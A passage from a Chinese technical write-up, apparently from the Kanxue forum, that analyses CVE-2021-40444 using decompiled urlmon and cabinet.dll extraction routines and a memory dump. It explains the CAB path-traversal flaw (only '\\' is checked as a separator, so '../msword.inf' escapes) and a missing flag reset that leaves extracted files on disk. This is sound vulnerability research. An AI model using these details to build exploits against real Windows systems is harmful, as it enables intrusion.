v7[1] = *(a1 + 0x10); // 0xC空间第二位不知道保存的什么,但是和下面两句一起看
++*(a1 + 0x14); // 这里像是链表节点数量递增
*(a1 + 0x10) = v7; // 看起来像是将这个新分配的0xC空间链入了一个链表
return (UIntAdd)(a1, v10, v12) >= 0; // 这里从调试结果看像是统计文件总解压后大小
}
07e2b28c 00 5c 41 00 00 00 00 00 00 00 00 00 00 00 00 00 .\A.............
07e2b29c 90 7c 92 08 01 00 00 00 01 00 00 00 43 3a 5c 55 .|..........C:\U
07e2b2ac 73 65 72 73 5c 7a 6f 65 6d 5c 41 70 70 44 61 74 sers\zoem\AppDat
07e2b2bc 61 5c 4c 6f 63 61 6c 5c 54 65 6d 70 5c 4c 6f 77 a\Local\Temp\Low
07e2b2cc 5c 43 61 62 34 32 35 41 00 00 00 00 00 00 00 00 \Cab425A........
注意到首四个字节就是解压后大小0x00415c00,偏移0x10的位置指向了分配的0xC大小的空间。
int __fastcall NeedFile(int this, const CHAR *a2)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
files_list = *(this + 0x10); // 0x10这里保存的就是之前提到的链表
while ( StrCmpIIA(a2, *files_list) ) // 链表遍历,找到文件名相同的位置
{
files_list = *(files_list + 4); // 0xC空间第二个位置保存的文件名指针
if ( !files_list )
goto LABEL_6;
}
if ( !*(files_list + 8) )
return 0;
LABEL_6:
if ( (*(this + 0x18) & 2) != 0 ) // 标志位,此时是1,不满足
return 1;
for ( i = *(this + 0x328); i; i = *(i + 4) ) // 0x328偏移位置,上面提到过,是0
{
if ( !StrCmpIIA(*i, a2) )
return 1;
}
return 0;
}
3.3.4 回到ExtractInfFile函数
...
if ( !lstrcmpA(sz, "CAB") )
return 2;
if ( !lstrcmpA(sz, "OCX") )
return 4;
if ( !lstrcmpA(sz, "DLL") )
return 3;
if ( !lstrcmpA(sz, "EXE") )
return 6;
if ( !lstrcmpA(sz, "INF") )
return 5;
if ( !lstrcmpA(sz, "OSD") )
return 7;
if ( lstrcmpA(sz, "CAT") )
return v4;
return 8;
3.3.5 ExtractOneFile函数
lpsz[0] = a1; // 调试发现这里的a1就是文件名../msword.inf
lpsz[1] = 0;
lpsz[2] = 0;
*(a5 + 6) = 0;
*(a5 + 0xCA) = lpsz;
for ( i = *(this + 0x328); i; i = *(i + 4) ) // 0x328偏移位置
{
if ( !StrCmpIIA(*i, a2) )
return 1;
}
path = v2 + 0x1C;
cchDest = (v2 + 0x120);
if ( !catDirAndFile(v2 + 0x120, 0x104, (v2 + 0x1C), fdi_ntf->psz1) || !(AddFile)(v2, fdi_ntf->psz1, fdi_ntf->cb) )
return -1;
if ( !NeedFile(v2, fdi_ntf->psz1) )
return 0;
if ( StrStrA(fdi_ntf->psz1, "\\") ) { // 因为在patch_cab进行了修改,所以不包含“\\”字符
..
}
else {
full_path = v2 + 0x120;
}
result = Win32Open(0x8302, full_path, file_name, v12, v13);
if ( result == -1 )
return -1;
return result;
3.3.6 FDIGetFile函数
int __thiscall FDIGetFile(_DWORD *this) {
size_unwritten = this[0x1D]; // cbFile
if ( size_unwritten ) {
new_size_written = this[0x1E]; // 文件在文件夹中的未压缩偏移,0
old_size_written = new_size_written;
if ( new_size_written < this[0xC] )
this[0x24] = 0xFFFF;
for ( i = InitFolder(this, *(this + 62)); i; i = FDIGetDataBlock(this) ) {
if ( new_size_written < this[0xC] + *(this[0x12] + 6) ) {
while ( 1 ) {
v5 = new_size_written - this[0xC];
fdidata_size = *(this[0x12] + 6) - v5;
curr_size_written = fdidata_size;
if ( fdidata_size > size_unwritten )
{
fdidata_size = size_unwritten;
curr_size_written = size_unwritten;
}
if ( curr_size_written != (this[5])(this[0x23], v5 + this[0x10], fdidata_size) )// write_func
break;
new_size_written = curr_size_written + old_size_written;
old_size_written += curr_size_written;
size_unwritten -= curr_size_written;
if ( !size_unwritten ) // 这里判断尚未写入的数据量
goto LABEL_13;
if ( !FDIGetDataBlock(this) ) // 这里判断读取下一个CFDATA是否成功
goto LABEL_20;
}
v12 = *this;
v12[1] = 0;
*v12 = 8;
v12[2] = 1;
break;
}
}
LABEL_20:
if ( this[0x23] != -1 ) {
(this[6])(this[6], this[0x23]); // close_func 此时内容正式写入硬盘
this[0x23] = -1;
}
}
else {
LABEL_13:
...
}
return 0;
}
if ( a1 == fdintCLOSE_FILE_INFO ) {
if ( catDirAndFile(v2 + 0x120, 260, (v2 + 28), fdi_ntf->psz1) && AdjustFileTime(fdi_ntf->time, v12, v13) ) {
CloseHandle(fdi_ntf->hf);
v4 = fdi_ntf->attribs;
v5 = v4 ? v4 & 0xFFFFFFD8 : 0x80;
if ( SetFileAttributesA(v2 + 0x120, v5) ) {
MarkExtracted(v2, v6);
return 1;
}
}
}
int __thiscall MarkExtracted(_DWORD *this, int a2) {
v2 = this[4];
while ( StrCmpIIA(v4, v5) ) {
...
}
*(v2 + 8) = 0; // 注意这里的标志位清零
return 1;
}
3.3.7 DeleteExtractedFiles函数
void __thiscall DeleteExtractedFiles(_DWORD *this) {
v2 = this[4]; // 这里就是0xC的那个空间
while ( v2 ) {
if ( !v2[2] && catDirAndFile(FileName, 260, (this + 7), *v2) && SetFileAttributesA(FileName, 0x80u) )
DeleteFileA(FileName);
CoTaskMemFree(*v2);
v3 = v2;
v2 = v2[1];
CoTaskMemFree(v3);
}
this[4] = 0;
}
3.3.8 小结
urlmon!fdiNotifyExtract函数中对于分隔符的判断,只判断了\\,而没有考虑/的情况,导致目录遍历情况的出现;
cabinet!FDIGetFile,当cbFile大于所有CFDATA的大小,或者其他情况导致FDIGetDataBlock调用失败的时候,后处理步骤缺少标志位清除操作
4
补丁比较
5
总结
6
参考资料
1、Microsoft Cabinet Format)
2、CVE-2021-40444 漏洞深入分析
3、lockedbyte/CVE-2021-40444
4、Cabinet (file format))
5、j00sean twitter
6、window下,nodejs 安装 http-server,开启命令行HTTP服务器
看雪ID:LarryS
https://bbs.pediy.com/user-home-600394.htm
# 往期推荐
3.全网最详细CVE-2014-0502 Adobe Flash Player双重释放漏洞分析
4.基于linker实现so加壳补充-------从dex中加载so
6.BCTF2018-houseofatum-Writeup题解
球分享
球点赞
球在看
点击“阅读原文”,了解更多!